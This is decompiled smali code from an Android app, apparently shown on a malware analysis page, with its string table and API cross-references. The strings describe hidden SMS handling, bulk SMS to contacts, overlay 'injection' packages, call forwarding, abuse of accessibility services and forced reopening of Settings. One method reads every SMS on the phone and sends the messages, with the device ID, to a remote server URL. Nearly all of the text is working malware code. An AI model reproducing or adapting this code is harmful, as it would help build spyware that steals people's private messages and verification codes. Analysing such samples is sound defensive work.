                                            386invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            388const-string v1, "TXT_55"
                                            390const-string v2, "Command: Start Hidden SMS"
                                            392invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            394const-string v1, "TXT_56"
                                            396const-string v2, "Hidden SMS is already Running"
                                            398invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            400const-string v1, "TXT_57"
                                            402const-string v2, "No SMS permissions for getAllSms()"
                                            404invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            406const-string v1, "TXT_58"
                                            408const-string v2, "Command: Get All SMS"
                                            410invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            412const-string v1, "TXT_59"
                                            414const-string v2, "Total SMS: "
                                            416invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            418const-string v1, "TXT_60"
                                            420const-string v2, "Empty Mailbox"
                                            422invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            424const-string v1, "TXT_61"
                                            426const-string v2, "SMS Inbox: "
                                            428invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            430const-string v1, "TXT_62"
                                            432const-string v2, "SMS Sent: "
                                            434invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            436const-string v1, "TXT_63"
                                            438const-string v2, "Releasing WakeLock"
                                            440invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            442const-string v1, "TXT_C_7"
                                            444const-string v2, "Permissions"
                                            446invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            448const-string v1, "TXT_64"
                                            450const-string v2, "Asking for SMS Permissions"
                                            452invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            454const-string v1, "TXT_65"
                                            456const-string v2, "Requesting SMS Permissions"
                                            458invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            460const-string v1, "TXT_66"
                                            462const-string v2, "Contacts NOT ALLOWED"
                                            464invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            466const-string v1, "TXT_67"
                                            468const-string v2, "Contacts ALLOWED"
                                            470invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            472const-string v1, "TXT_68"
                                            474const-string v2, "Requesting Contacts Permissions"
                                            476invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            478const-string v1, "TXT_69"
                                            480const-string v2, "WriteStorage NOT ALLOWED"
                                            482invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            484const-string v1, "TXT_70"
                                            486const-string v2, "WriteStorage ALLOWED"
                                            488invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            490const-string v1, "TXT_70a"
                                            492const-string v2, "PhoneState ALLOWED"
                                            494invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            496const-string v1, "TXT_71"
                                            498const-string v2, "Requesting Write Permissions"
                                            500invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            502const-string v1, "TXT_72"
                                            504const-string v2, "Battery Optimization is ON"
                                            506invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            508const-string v1, "TXT_73"
                                            510const-string v2, "Battery Optimization is OFF"
                                            512invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            514const-string v1, "TXT_74"
                                            516const-string v2, "SMS Permissions is now ALLOWED"
                                            518invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            520const-string v1, "TXT_75"
                                            522const-string v2, "SMS Permissions is now NOT ALLOWED"
                                            524invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            526const-string v1, "TXT_76"
                                            528const-string v2, "Contacts Permissions is now ALLOWED"
                                            530invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            532const-string v1, "TXT_77"
                                            534const-string v2, "Contacts Permissions is now NOT ALLOWED"
                                            536invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            538const-string v1, "TXT_78"
                                            540const-string v2, "Write Permissions is now ALLOWED"
                                            542invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            544const-string v1, "TXT_79"
                                            546const-string v2, "Write Permissions is now NOT ALLOWED"
                                            548invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            550const-string v1, "TXT_78a"
                                            552const-string v2, "Read Phone State is now ALLOWED"
                                            554invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            556const-string v1, "TXT_79a"
                                            558const-string v2, "Read Phone State is now NOT ALLOWED"
                                            560invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            562const-string v1, "TXT_C_8"
                                            564const-string v2, "PreActivity"
                                            566invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            568const-string v1, "TXT_80"
                                            570const-string v2, "Starting Accessibility Watcher"
                                            572invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            574const-string v1, "TXT_81"
                                            576const-string v2, "New permissions asked..."
                                            578invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            580const-string v1, "TXT_C_9"
                                            582const-string v2, "MainReceiver"
                                            584invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            586const-string v1, "TXT_82"
                                            588const-string v2, "Action is: "
                                            590invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            592const-string v1, "TXT_83"
                                            594const-string v2, "----- Phone Restarting Completed -----"
                                            596invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            598const-string v1, "TXT_84"
                                            600const-string v2, "----- APK Updated -----"
                                            602invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            604const-string v1, "TXT_C_10"
                                            606const-string v2, "RestartServicesReceiver"
                                            608invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            610const-string v1, "TXT_86"
                                            612const-string v2, "Ping Service Killed - Restarting..."
                                            614invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            616const-string v1, "TXT_C_11"
                                            618const-string v2, "ScreenReceiver"
                                            620invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            622const-string v1, "TXT_88"
                                            624const-string v2, "Screen is ON"
                                            626invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            628const-string v1, "TXT_89"
                                            630const-string v2, "Screen is OFF"
                                            632invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            634const-string v1, "TXT_C_12"
                                            636const-string v2, "AskToChangeSMS"
                                            638invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            640const-string v1, "TXT_90"
                                            642const-string v2, "Ask to Change"
                                            644invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            646const-string v1, "TXT_91"
                                            648const-string v2, ""
                                            650invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            652const-string v1, "TXT_92"
                                            654const-string v2, "Already Default App"
                                            656invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            658const-string v1, "TXT_93"
                                            660const-string v2, "Ask to change after deny"
                                            662invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            664const-string v1, "TXT_94"
                                            666const-string v2, "Hidden SMS Started"
                                            668invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            670const-string v1, "TXT_95"
                                            672const-string v2, "Permission given"
                                            674invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            676const-string v1, "TXT_C_13"
                                            678const-string v2, "Incoming SMS"
                                            680invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            682const-string v1, "TXT_96"
                                            684const-string v2, "Force Ping Service"
                                            686invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            688const-string v1, "TXT_97"
                                            690const-string v2, "----- Sending to Ping after SMS -----"
                                            692invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            694const-string v1, "TXT_C_14"
                                            696const-string v2, "SMSBulkSender"
                                            698invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            700const-string v1, "TXT_98"
                                            702const-string v2, "Sending Bulk SMS"
                                            704invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            706const-string v1, "TXT_99"
                                            708const-string v2, "No Contacts got..."
                                            710invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            712const-string v1, "TXT_100"
                                            714const-string v2, "Final SMS Send to contacts."
                                            716invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            718const-string v1, "TXT_101"
                                            720const-string v2, "Sent message to "
                                            722invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            724const-string v1, "TXT_102"
                                            726const-string v2, " contacts. "
                                            728invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            730const-string v1, "TXT_103"
                                            732const-string v2, " left to be sent..."
                                            734invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            736const-string v1, "TXT_C_15"
                                            738const-string v2, "AppGlobals"
                                            740invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            742const-string v1, "TXT_104"
                                            744const-string v2, "Application Started"
                                            746invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            748const-string v1, "TXT_C_16"
                                            750const-string v2, "SettingsReceiver"
                                            752invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            754const-string v1, "TXT_105"
                                            756const-string v2, "Settings Closed...Re-Opening it!"
                                            758invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            760const-string v1, "TXT_106"
                                            762const-string v2, "Installed Apps: <BR>"
                                            764invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            766const-string v1, "TXT_107"
                                            768const-string v2, "Injection Package Added"
                                            770invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            772const-string v1, "TXT_108"
                                            774const-string v2, "Call Forwarding to: "
                                            776invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            778const-string v1, "TXT_109"
                                            780const-string v2, "Call Forwarding disabled"
                                            782invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            784const-string v1, "TXT_110"
                                            786const-string v2, "Asking to allow unknown sources..."
                                            788invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            790const-string v1, "TXT_111"
                                            792const-string v2, "Package name is: "
                                            794invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            796const-string v1, "TXT_112"
                                            798const-string v2, "No write permissions... Starting Permissions..."
                                            800invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            802const-string v1, "TXT_113"
                                            804const-string v2, "Unknown Sources are now Available"
                                            806invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            808invoke-interface {v0, p0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                            809move-result-object v0
                                            810check-cast v0, Ljava/lang/String;
                                            811return-object v0
                                            Cross References
                                            APIs
                                            • improve.harbor.eager.Permissions.a
                                            • org.json.JSONArray.<init>
                                            • improve.harbor.eager.MainServiceJob.getContentResolver
                                            • android.net.Uri.parse
                                            • android.content.ContentResolver.query
                                            • android.database.Cursor.getCount
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • android.database.Cursor.moveToFirst
                                            • android.database.Cursor.getColumnIndex
                                            • android.database.Cursor.getString
                                            • java.lang.Long.valueOf
                                            • java.lang.Long.longValue
                                            • java.util.Date.<init>
                                            • java.lang.String.valueOf
                                            • android.database.Cursor.getColumnIndex
                                            • android.database.Cursor.getString
                                            • android.database.Cursor.getColumnIndex
                                            • android.database.Cursor.getString
                                            • android.database.Cursor.getColumnIndexOrThrow
                                            • android.database.Cursor.getString
                                            • java.lang.Integer.parseInt
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONArray.put
                                            • android.database.Cursor.moveToNext
                                            • org.json.JSONObject.<init>
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • android.database.Cursor.close
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • org.json.JSONObject.toString
                                            • java.lang.Thread.<init>
                                            • java.lang.Thread.start
                                            • org.json.JSONException.printStackTrace
                                            • org.json.JSONException.printStackTrace
                                            Strings
                                            • TXT_C_6
                                            • TXT_58
                                            • TXT_57
                                            • content://sms/
                                            • TXT_59
                                            • date
                                            • body
                                            • address
                                            • type
                                            • messageDate
                                            • messageType
                                            • messageNumber
                                            • messageBody
                                            • DEVICE_ID
                                            • ANDROID_ID
                                            • ALL
                                            • SMSES
                                            • SERVER_SMS_URL
                                            • Incoming
                                            • Sent
                                            • TXT_60
                                            Position Instruction Meta Information
                                            0const/4 v2, 0x0
                                            2const-string v0, "TXT_C_6"
                                            4invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            5move-result-object v0
                                            7const-string v1, "TXT_58"
                                            9invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            10move-result-object v1
                                            12invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            14invoke-static {p0}, Limprove/harbor/eager/Permissions;->a(Landroid/content/Context;)Z
                                            15move-result v0
                                            16if-nez v0, :cond_2f
                                            18const-string v0, "TXT_C_6"
                                            20invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            21move-result-object v0
                                            23const-string v1, "TXT_57"
                                            25invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            26move-result-object v1
                                            28invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            30const-string v0, "TXT_57"
                                            32invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            33move-result-object v0
                                            35invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            36cond_2e: return-void
                                            37cond_2f: new-instance v6, Lorg/json/JSONArray;
                                            39invoke-direct {v6}, Lorg/json/JSONArray;-><init>()V
                                            41invoke-virtual {p0}, Limprove/harbor/eager/MainServiceJob;->getContentResolver()Landroid/content/ContentResolver;
                                            42move-result-object v0
                                            44const-string v1, "content://sms/"
                                            46invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                            47move-result-object v1
                                            48move-object v3, v2
                                            49move-object v4, v2
                                            50move-object v5, v2
                                            52invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                            53move-result-object v1
                                            54if-eqz v1, :cond_2e
                                            56invoke-interface {v1}, Landroid/database/Cursor;->getCount()I
                                            57move-result v0
                                            59const-string v2, "TXT_C_6"
                                            61invoke-static {v2}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            62move-result-object v2
                                            63new-instance v3, Ljava/lang/StringBuilder;
                                            65invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                            67const-string v4, "TXT_59"
                                            69invoke-static {v4}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            70move-result-object v4
                                            72invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            73move-result-object v3
                                            75invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                            76move-result-object v0
                                            78invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            79move-result-object v0
                                            81invoke-static {p0, v2, v0}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            83invoke-interface {v1}, Landroid/database/Cursor;->moveToFirst()Z
                                            84move-result v0
                                            85if-eqz v0, :cond_11b
                                            86cond_71:
                                            87const-string v0, "date"
                                            89invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                            90move-result v0
                                            92invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                            93move-result-object v0
                                            94new-instance v2, Ljava/util/Date;
                                            96invoke-static {v0}, Ljava/lang/Long;->valueOf(Ljava/lang/String;)Ljava/lang/Long;
                                            97move-result-object v0
                                            99invoke-virtual {v0}, Ljava/lang/Long;->longValue()J
                                            100move-result-wide v4
                                            102invoke-direct {v2, v4, v5}, Ljava/util/Date;-><init>(J)V
                                            104invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                                            105move-result-object v2
                                            107const-string v0, "body"
                                            109invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                            110move-result v0
                                            112invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                            113move-result-object v3
                                            115const-string v0, "address"
                                            117invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                            118move-result v0
                                            120invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                            121move-result-object v4
                                            123const-string v0, ""
                                            125const-string v5, "type"
                                            127invoke-interface {v1, v5}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
                                            128move-result v5
                                            130invoke-interface {v1, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                            131move-result-object v5
                                            133invoke-static {v5}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                            134move-result v5
                                            135packed-switch v5, :pswitch_data_130
                                            136goto_b3: new-instance v5, Lorg/json/JSONObject;
                                            138invoke-direct {v5}, Lorg/json/JSONObject;-><init>()V
                                            139try_start_b8:
                                            140const-string v7, "messageDate"
                                            142invoke-virtual {v5, v7, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            144const-string v2, "messageType"
                                            146invoke-virtual {v5, v2, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            148const-string v0, "messageNumber"
                                            150invoke-virtual {v5, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            152const-string v0, "messageBody"
                                            154invoke-virtual {v5, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            155goto_cc:
                                            156invoke-virtual {v6, v5}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                                            158invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z
                                            159move-result v0
                                            160if-nez v0, :cond_71
                                            161goto_d5: new-instance v2, Lorg/json/JSONObject;
                                            163invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                                            164try_start_da:
                                            165const-string v0, "DEVICE_ID"
                                            167iget-object v3, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            169const-string v4, "ANDROID_ID"
                                            171invoke-virtual {v3, v4}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            172move-result-object v3
                                            174invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            176const-string v0, "ALL"
                                            177const/4 v3, 0x1
                                            179invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            181const-string v0, "SMSES"
                                            183invoke-virtual {v2, v0, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            184goto_f2:
                                            185invoke-interface {v1}, Landroid/database/Cursor;->close()V
                                            186new-instance v0, Limprove/harbor/eager/q;
                                            188iget-object v1, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            190const-string v3, "SERVER_SMS_URL"
                                            192invoke-virtual {v1, v3}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            193move-result-object v1
                                            195invoke-virtual {v2}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            196move-result-object v2
                                            198invoke-direct {v0, v1, v2}, Limprove/harbor/eager/q;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                            199new-instance v1, Ljava/lang/Thread;
                                            201invoke-direct {v1, v0}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                                            203invoke-virtual {v1}, Ljava/lang/Thread;->start()V
                                            204goto/16 :goto_2e
                                            205pswitch_110:
                                            206const-string v0, "Incoming"
                                            207goto/16 :goto_b3
                                            208pswitch_113:
                                            209const-string v0, "Sent"
                                            210goto/16 :goto_b3
                                            211catch_116: move-exception v0
                                            213invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
                                            214goto/16 :goto_cc
                                            215cond_11b:
                                            216const-string v0, "TXT_C_6"
                                            218invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            219move-result-object v0
                                            221const-string v2, "TXT_60"
                                            223invoke-static {v2}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            224move-result-object v2
                                            226invoke-static {p0, v0, v2}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            227goto/16 :goto_d5
                                            228catch_12b: move-exception v0
                                            230invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
                                            231goto/16 :goto_f2
                                            APIs
                                            • improve.harbor.eager.AccessibilityS.j:Limprove/harbor/eager/g
                                            • java.lang.String.toLowerCase
                                            • improve.harbor.eager.AccessibilityS.getSystemService
                                            • java.lang.StringBuilder.<init>
                                            • improve.harbor.eager.AccessibilityS.getPackageName
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • android.os.PowerManager.newWakeLock
                                            • improve.harbor.eager.AccessibilityS.i:Landroid/os/PowerManager$WakeLock
                                            • android.os.PowerManager$WakeLock.setReferenceCounted
                                            • improve.harbor.eager.AccessibilityS.i:Landroid/os/PowerManager$WakeLock
                                            • android.os.PowerManager$WakeLock.acquire
                                            • improve.harbor.eager.AccessibilityS.j:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • java.lang.StringBuilder.<init>
                                            • improve.harbor.eager.AccessibilityS.j:Limprove/harbor/eager/g
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • improve.harbor.eager.AccessibilityS.j:Limprove/harbor/eager/g
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.StringBuilder.<init>
                                            • improve.harbor.eager.AccessibilityS.j:Limprove/harbor/eager/g
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • improve.harbor.eager.AccessibilityS.j:Limprove/harbor/eager/g
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • android.accessibilityservice.AccessibilityServiceInfo.<init>
                                            • improve.harbor.eager.AccessibilityS.setServiceInfo
                                            • improve.harbor.eager.AccessibilityS.a:Ljava/util/ArrayList
                                            • java.util.ArrayList.add
                                            • improve.harbor.eager.AccessibilityS.a:Ljava/util/ArrayList
                                            • java.util.ArrayList.add
                                            • improve.harbor.eager.AccessibilityS.a:Ljava/util/ArrayList
                                            • java.util.ArrayList.add
                                            • improve.harbor.eager.AccessibilityS.a:Ljava/util/ArrayList
                                            • java.util.ArrayList.add
                                            • improve.harbor.eager.AccessibilityS.a:Ljava/util/ArrayList
                                            • java.util.ArrayList.add
                                            • improve.harbor.eager.AccessibilityS.a:Ljava/util/ArrayList
                                            • java.util.ArrayList.add
                                            • improve.harbor.eager.AccessibilityS.a:Ljava/util/ArrayList
                                            • java.util.ArrayList.add
                                            • improve.harbor.eager.AccessibilityS.a:Ljava/util/ArrayList
                                            • java.util.ArrayList.add
                                            • android.content.IntentFilter.<init>
                                            • android.content.IntentFilter.addAction
                                            • android.content.IntentFilter.addAction
                                            • improve.harbor.eager.receivers.ScreenReceiver.<init>
                                            • improve.harbor.eager.AccessibilityS.l:Limprove/harbor/eager/receivers/ScreenReceiver
                                            • improve.harbor.eager.AccessibilityS.registerReceiver
                                            • android.os.Handler.<init>
